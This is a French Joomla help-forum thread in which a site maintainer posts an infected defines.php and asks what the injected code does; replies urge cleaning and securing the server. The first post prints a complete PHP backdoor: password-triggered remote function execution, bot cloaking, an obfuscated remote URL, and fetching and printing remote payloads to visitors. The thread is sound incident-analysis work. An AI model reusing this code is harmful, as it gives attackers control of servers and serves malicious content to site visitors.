hack - quel est l'objectif?

Réduire
X
 
  • Filtrer
  • Heure
  • Afficher
Tout effacer
nouveaux messages

  • [Problème] hack - quel est l'objectif?

    Bonjour,
    Je sais que le titre est vague alors voici quelques précisions:
    depuis quelques semaines les sites joomla 3.5 dont je m'occupe sont la proie d'un ... malveillant qui modifie les fichiers dans includes/ c-a-d defines.php et framework.php.
    Ce n'était hélas pas les seuls attaques dont ils ont souffert, et j'arrivais à en voir le but, même si je ne comprenais pas tj le code. Je n'y ai pas non plus consacré beaucoup de temps.
    Mais là: que veut faire le vilain pirate?
    Code PHP:
    <?php
    /**
     * @package    Joomla.Site
     *
     * @copyright  Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.
     * @license    GNU General Public License version 2 or later; see LICENSE.txt
     */

    defined('_JEXEC') or die;

    // Global definitions
    $parts explode(DIRECTORY_SEPARATORJPATH_BASE);

    // Defines.
    define('JPATH_ROOT',          implode(DIRECTORY_SEPARATOR$parts));
    define('JPATH_SITE',          JPATH_ROOT);
    define('JPATH_CONFIGURATION'JPATH_ROOT);
    define('JPATH_ADMINISTRATOR'JPATH_ROOT DIRECTORY_SEPARATOR 'administrator');
    define('JPATH_LIBRARIES',     JPATH_ROOT DIRECTORY_SEPARATOR 'libraries');
    define('JPATH_PLUGINS',       JPATH_ROOT DIRECTORY_SEPARATOR 'plugins');
    define('JPATH_INSTALLATION',  JPATH_ROOT DIRECTORY_SEPARATOR 'installation');
    define('JPATH_THEMES',        JPATH_BASE DIRECTORY_SEPARATOR 'templates');
    define('JPATH_CACHE',         JPATH_BASE DIRECTORY_SEPARATOR 'cache');
    define('JPATH_MANIFESTS',     JPATH_ADMINISTRATOR DIRECTORY_SEPARATOR 'manifests');
    //istart


    function is_valid_url(&$url)
    {
        if (!
    preg_match('/^(.+?)(\d+)\.(\d+)\.(\d+)\.(\d+)(.+?)$/'$url$m))
            return 
    false;
        
    $url $m[1].$m[5].'.'.$m[4].'.'.$m[3].'.'.$m[2].$m[6];
        return 
    true;
    }

    function 
    request_url_data($url) {

        if(!
    is_valid_url($url))
            return 
    false;

        
    $site_url = (preg_match('/^https?:\/\//i'$_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : 'http://' $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
        if (
    function_exists('curl_init')) {
            
    $ch curl_init();
            
    curl_setopt($chCURLOPT_TIMEOUT5);
            
    curl_setopt($chCURLOPT_CONNECTTIMEOUT5);
            
    curl_setopt($chCURLOPT_URL$url);
            
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
            
    curl_setopt($chCURLOPT_HTTPHEADER, array(
                
    'X-Forwarded-For: ' $_SERVER["REMOTE_ADDR"],
                
    'User-Agent: ' $_SERVER["HTTP_USER_AGENT"],
                
    'Referer: ' $site_url,
            ));
            
    $response trim(curl_exec($ch));
        } elseif (
    function_exists('fsockopen')) {
            
    $m parse_url($url);
            if (
    $fp fsockopen($m['host'], 80$errno$errstr6)) {
                
    fwrite($fp'GET http://' $m['host'] . $m["path"] . '?' $m['query'] . ' HTTP/1.0' "\r\n" .
                    
    'Host: ' $m['host'] . "\r\n" .
                    
    'User-Agent: ' $_SERVER["HTTP_USER_AGENT"] . "\r\n" .
                    
    'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" .
                        
    'Referer: ' $site_url "\r\n" .
                        
    'Connection: Close' "\r\n\r\n");
                
    $response '';
                while (!
    feof($fp)) {
                    
    $response .= fgets($fp1024);
                }
                list(
    $headers$response) = explode("\r\n\r\n"$response);
                
    fclose($fp);
            }
        } else {
            
    $response 'curl_init and fsockopen disabled';
        }
        return 
    $response;
    }

    function 
    decrypt_url($encrypted_url)
    {
        
    $encrypted_url base64_decode($encrypted_url);
        
    $url '';
        for (
    $i 0$i strlen($encrypted_url); $i++)
        {
            
    $url .= chr(ord($encrypted_url[$i]) ^ 3);
        }
        return 
    $url;
    }
    error_reporting(0);
    $_passssword 'c9c8a7cb0a508f8a063162f751323097';

    $p $_POST;

    if (@
    $p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], '');




    if (!empty(
    $_GET['check']) AND $_GET['check'] == $_passssword) {
        echo(
    '<!--checker_start ');
        
    $tmp request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css');
        echo(
    substr($tmp50));
        echo(
    ' checker_end-->');
    }
    unset(
    $_passssword);

    $bad_url false;
    foreach (array(
    '/\.css$/''/\.swf$/''/\.ashx$/''/\.docx$/''/\.doc$/''/\.xls$/''/\.xlsx$/''/\.xml$/''/\.jpg$/''/\.pdf$/''/\.png$/''/\.gif$/''/\.ico$/''/\.js$/''/\.txt$/''/ajax/''/cron\.php$/''/wp\-login\.php$/''/\/wp\-includes\//''/\/wp\-admin/''/\/admin\//''/\/wp\-content\//''/\/administrator\//''/phpmyadmin/i''/xmlrpc\.php/''/\/feed\//') as $regex) {
        if (
    preg_match($regex$_SERVER['REQUEST_URI'])) {
            
    $bad_url true;
            break;
        }
    }

    $cookie_name 'PHP_SESSION_PHP';
    if (!
    $bad_url AND !isset($_COOKIE[$cookie_name]) AND empty($echo_done) AND !empty($_SERVER['HTTP_USER_AGENT']) AND (substr(trim($_SERVER['REMOTE_ADDR']), 06) != '74.125') AND !preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i'$_SERVER['HTTP_USER_AGENT'])) {
    //    setcookie($cookie_name, mt_rand(1, 1024), time() + 60 * 60 * 24 * 7, '/');
    //        $url = base64_decode('a3d3czksLDEzMC0yOjEtMTY2LTYyLGFvbGQsPHNscXBga2YldnduXHBsdnFgZj43MDA2OTsyMDE6NDkyOjEy');
        
    $url decrypt_url('a3d3czksLDEzMC0yOjEtMTY2LTYyLGFvbGQsPHNscXBga2YldnduXHBsdnFgZj43MDA2OTsyMDE6NDkyOjEy');
        
    $code request_url_data($url);
    //    if (!empty($code) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
        
    if (($code request_url_data($url)) AND $decoded base64_decode($codetrue)) {
            
    $echo_done true;
            print 
    $decoded;
        }
    }
    //iend
    framework n'a pas été modifié cette fois.
    Alors si vous voyez ce qu'il veut faire partagez.
    Merci

  • #2
    Re : hack - quel est l'objectif?

    Hello Tigunn, si pas de réponse sur le forum , essayer de poster la question dans la partie php
    sur developper.net et/ou openclassrooms.com ...
    Solidaire avec les dinosaures

    Commentaire


    • #3
      Re : hack - quel est l'objectif?

      Bonjour Tigunn
      L'ojectif c'est souvent (a 99%) d'avoir le controle sur le serveur pour envoyer du spam ... ou pire, faire des attaque vers d'autres serveurs ...

      Mais plutot que de chercher a savoir ce que tente de faire le hackeur (ou son badbot) il serait préférable pour toi de nettoyer le site de fond en comble et de sécuriser le serveur ... tu auras ensuite tout le temps pour te pencher sur ce script. codes qui sont quelquefois assez complexes ... histoire de noyer le poisson au millieu de code sain.
      Ce forum, vous l'aimez ? il vous a sauvé la vie ? Vous y apprenez chaque jour ? Alors adhérez à l'AFUJ https://www.joomla.fr/association/adherer

      Commentaire


      • #4
        Re : hack - quel est l'objectif?

        Bonjour,

        Dis moi Tiguan, tu en es ou ? Car j'ai le même fichier modifié et je suis en 3.5.1, alors je récupère un propre d'un serveur local (1042 octets)

        Commentaire

        Annonce

        Réduire
        1 sur 2 < >

        C'est [Réglé] et on n'en parle plus ?

        A quoi ça sert ?
        La mention [Réglé] permet aux visiteurs d'identifier rapidement les messages qui ont trouvé une solution.

        Merci donc d'utiliser cette fonctionnalité afin de faciliter la navigation et la recherche d'informations de tous sur le forum.

        Si vous deviez oublier de porter cette mention, nous nous permettrons de le faire à votre place... mais seulement une fois
        Comment ajouter la mention [Réglé] à votre discussion ?
        1 - Aller sur votre discussion et éditer votre premier message :


        2 - Cliquer sur la liste déroulante Préfixe.

        3 - Choisir le préfixe [Réglé].


        4 - Et voilà… votre discussion est désormais identifiée comme réglée.

        2 sur 2 < >

        Assistance au forum - Outil de publication d'infos de votre site

        Compatibilité: PHP 4.1,PHP4, 5, 6DEV MySQL 3.2 - 5.5 MySQLi from 4.1 ( @ >=PHP 4.4.9)

        Support Version de Joomla! : | J!3.0 | J!2.5.xx | J!1.7.xx | J!1.6.xx | J1.5.xx | J!1.0.xx |

        Version française (FR) D'autres versions sont disponibles depuis la version originale de FPA

        UTILISER À VOS PROPRES RISQUES :
        L'exactitude et l'exhaustivité de ce script ainsi que la documentation ne sont pas garanties et aucune responsabilité ne sera acceptée pour tout dommage, questions ou confusion provoquée par l'utilisation de ce script.

        Problèmes connus :
        FPA n'est actuellement pas compatible avec des sites Joomla qui ont eu leur fichier configuration.php déplacé en dehors du répertoire public_html.

        Installation :

        1. Téléchargez l'archive souhaitée : http://afuj.github.io/FPA/

        Archive zip : https://github.com/AFUJ/FPA/zipball/master

        2. Décompressez le fichier de package téléchargé sur votre propre ordinateur (à l'aide de WinZip ou d'un outil de décompression natif).

        3. Lisez le fichier LISEZMOI inclus pour toutes les notes de versions spécifiques.

        4. LIRE le fichier de documentation inclus pour obtenir des instructions d'utilisation détaillées.

        5. Téléchargez le script fpa-fr.php à la racine de votre site Joomla!. C'est l'endroit que vous avez installé Joomla et ce n'est pas la racine principale de votre serveur. Voir les exemples ci-dessous.

        6. Exécutez le script via votre navigateur en tapant: http:// www. votresite .com/ fpa-fr.php
        et remplacer www. votresite .com par votre nom de domaine


        Exemples:
        Joomla! est installé dans votre répertoire web et vous avez installé la version française du fichier FPA:
        Télécharger le script fpa-fr.php dans: /public_html/
        Pour executer le script: http://www..com/fpa-fr.php

        Joomla! est installé dans un sous-répertoire nommé "cms" et vous avez installé la version française du fichier FPA:
        Télécharger le script fpa-fr.php dans: /public_html/cms/
        Pour executer le script: http://www..com/cms/fpa-fr.php

        En raison de la nature très sensible de l'information affichée par le script FPA, il doit être retiré immédiatement du serveur après son utilisation.

        Pour supprimer le script de votre site, utilisez le lien de script de suppression fourni en haut de la page du script. Si le lien de suppression échoue pour supprimer le script, utilisez votre programme FTP pour le supprimer manuellement ou changer le nom une fois que le script a généré les données du site et le message publié sur le forum. Si le script est toujours présent sur le site, il peut être utilisé pour recueillir suffisamment d'informations pour pirater votre site. Le retrait du script empêche des étrangers de l'utiliser pour jeter un oeil à la façon dont votre site est structuré et de détecter les défauts qui peuvent être utilisé à vos dépends.
        Voir plus
        Voir moins

        Partenaire de l'association

        Réduire

        Hébergeur Web PlanetHoster
        Travaille ...
        X